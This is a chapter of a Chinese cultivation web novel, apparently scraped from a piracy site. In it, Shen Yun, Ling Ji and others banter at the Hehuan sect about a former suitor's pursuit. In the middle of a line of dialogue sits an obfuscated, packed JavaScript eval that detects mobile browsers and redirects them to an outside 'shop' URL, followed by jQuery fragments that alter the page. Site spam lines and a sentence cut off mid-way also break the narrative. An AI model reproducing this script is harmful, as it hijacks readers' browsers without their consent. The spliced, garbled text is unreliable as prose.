合欢宗百花殿。
殿内暖香浮动云榻软枕处处都是能叫人骨头酥掉的靡靡之音。
沈蕴一屁股陷进那堆叠如云的软榻里端起灵姬递来的百花酿准备一饮而尽。
这酒香气扑鼻是合欢宗用上百种灵花精心酿造专为接待贵客而制光是闻着就让人神魂颠倒。
就在这时一道冰冷的寒气破空而来弹在了她的玉杯上。
啪的一声那杯盏竟被整个冻住连带着里头的酒液也化作了一块晶莹剔透的冰。
沈蕴:“……”
她顺着那道寒气的来源磨着牙看向始作俑者。
许映尘面无表情地收回了指尖姿态清冷得像是画里的谪仙。
“你不能饮酒。”
沈蕴咬牙切齿:“凭什么?我早成年了!”
“你的火灵根遇酒则焚。”许映尘的语气淡淡“况且你酒量奇差若是喝了……”
他接下来的话没说出口但那眼神已经说明了一切。
喝了就不是人了。
是行走的**烧得六亲不认。
沈蕴撇了撇嘴心里把这不解风情的冰块骂了八百遍。
她认命地将那块酒冰疙瘩丢开
灵姬坐在她身旁笑意盈盈:“师姐十年未见你竟晋升化神了这般天资世间罕有我真为你高兴。”
剩下的话她没说出口。
以沈蕴这般洒脱不羁的性子若是没有足够的实力相衬在这**的修真界里还不知道要把她憋屈成什么样子。
现在见她这样强大弹指间便能让一个元婴后期吃瘪她就放心了。
“我也高兴。”沈蕴嘿嘿一笑“以后扇人耳光底气更足了。”
她说着目光落在灵姬身上上下打量了一番:“倒是你气色不错修为也精进不少看来这些年过得挺滋润。”
灵姬一怔下意识地瞥了眼不远处的鉴尧和封白。
确实挺滋润。
两位师兄尽心尽力勤勤恳恳把她从金丹中期一路润到了金丹后期瓶颈松动很快就可以闭关冲击元婴了。
你的朋友正在书荒,快去帮帮他吧
鉴尧和封白被她这饱含春水的一眼看得浑身一僵。
灵姬师妹怎么突然看他们……
难不成是刚才被那清和恶心到了想泻泻火?
可几位前辈都在此处这……这不太好吧?
沈蕴将三人的眉眼官司尽收眼底一副过来人的样子:“要是来感觉了就换个地方整啊我今天组的这是素局别在我这儿搞荤的。”
“师姐别乱说。”
灵姬好笑地推了她一下从储物戒里又取出一盘码得整整齐齐的合欢糕推到沈蕴面前。
“之前闲来无事的时候为你做的知道你爱吃便一直备着。”
沈蕴眼睛一亮捏起一块咬了咬。
软糯香甜灵气四溢。
“好吃。”她含糊不清地赞了一句三两口解决掉一块又去捏第二块“对了刚才那清和是怎么回事?怎么又来纠缠你?”
提起这个灵姬脸上那点刚浮起来的笑意顿时收敛得干干净净眼底浮出掩不住的厌烦。
“他见我过的好了浑身不痛快吧可能。”
“师姐你有所不知前些年也不知道他发了什么疯突然就跑到我们合欢宗山门前堵我说什么情深不寿悔不当初非要我跟他重修旧好。”
沈蕴来了兴致:“然后呢?”
“然后?”灵姬冷笑一声“我让他哪儿凉快哪儿待着去回去找他的梨盈仙子别来烦我。”
“可他倒好不知会错了什么意竟以为我在吃醋。”
灵姬说到这里自己都气笑了又给自己满上一杯:“他觉得我之所以不肯原谅他全是因为他没处理好梨盈那个麻烦。”
“于是他回去之后
沈蕴正往嘴里塞糕点听到这话动作一顿眉头皱了起来:“安承启?这名字怎么这么熟悉?”
她搜肠刮肚地想了半天也没从记忆的犄角旮旯里把这号人给刨出来。
一旁始终安静品茶的叶寒声将手中杯盏轻轻一搁。
“之前在多宝阁他想抢你们天剑门一名女弟子的朱颜草被你一巴掌扇墙上了。”
沈蕴:“……”
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
老叶记性真好。
她给了叶寒声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095044|175489||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个“你牛X”的眼神,然后重新看向灵姬:“行,你继续说。”
灵姬叹了口气,脸上写满了无语:“那梨盈是什么德行,师姐你也是见过的。”
“她一听自己要被清和许配给一个资质平平、家世一般的弟子,当场就要血溅三尺,以死明志。”
“清和一看,这还了得?他又心疼了,赶紧把人给哄了回来。”
“这一来二去,婚事没结成,反倒让他觉得,梨盈对他情深似海,而我又对他旧情难忘,他坐拥齐人之福,好不得意。”
“从那以后,他就跟打了鸡血似的,隔三差五地来我合欢宗门口晃悠,说些颠三倒四的疯话,一会儿说只要我肯回头,他便给我想要的一切,一会儿又说他心中最爱的人是我,梨盈只是责任罢了。”
“啧,谁稀罕?”
灵姬说完冷笑一声,似乎是被恶心到了,将杯中酒一饮而尽。
沈蕴眨巴眨巴眼,总算把嘴里的合欢糕咽了下去。
“不是吧,这么不要脸?这自我感觉良好的样子,都快赶上我之前见过的一个叫凤子墨的傻鸟了。”
灵姬一怔:“凤子墨?那不是……”
“嗯?你听说过?”沈蕴有些意外。
“自然听说过。”灵姬掩唇一笑,眼波流转,“他之前追求的那位幻竹仙子,如今可还在我们合欢宗呢,正和卜思源师兄在一处。”
“那二人,整日黏在一起,扒都扒不开。”
沈蕴:“……”
她的脑海里瞬间浮现出那日给幻竹传音问话时,从传音符另一头传来的黏糊到能拉丝的喘息声,顿时打了一个激灵。
“卜思源身上的反噬解了?”
灵姬笑了笑:“我师尊都亲自出手了,还搭进去好些天材地宝,能不解吗?”
“她老人家心疼了好几天呢,说卜师兄这回可算是把本钱都给搭进去了,以后得加倍修炼才能赚回来。”
沈蕴默默地喝了一口合欢露。
亏她之前还以为那卜思源是合欢宗里的一股清流,修的是无情道,断的是七情六欲。
没想到也是个永动机。
这合欢宗,果然个个都是人才。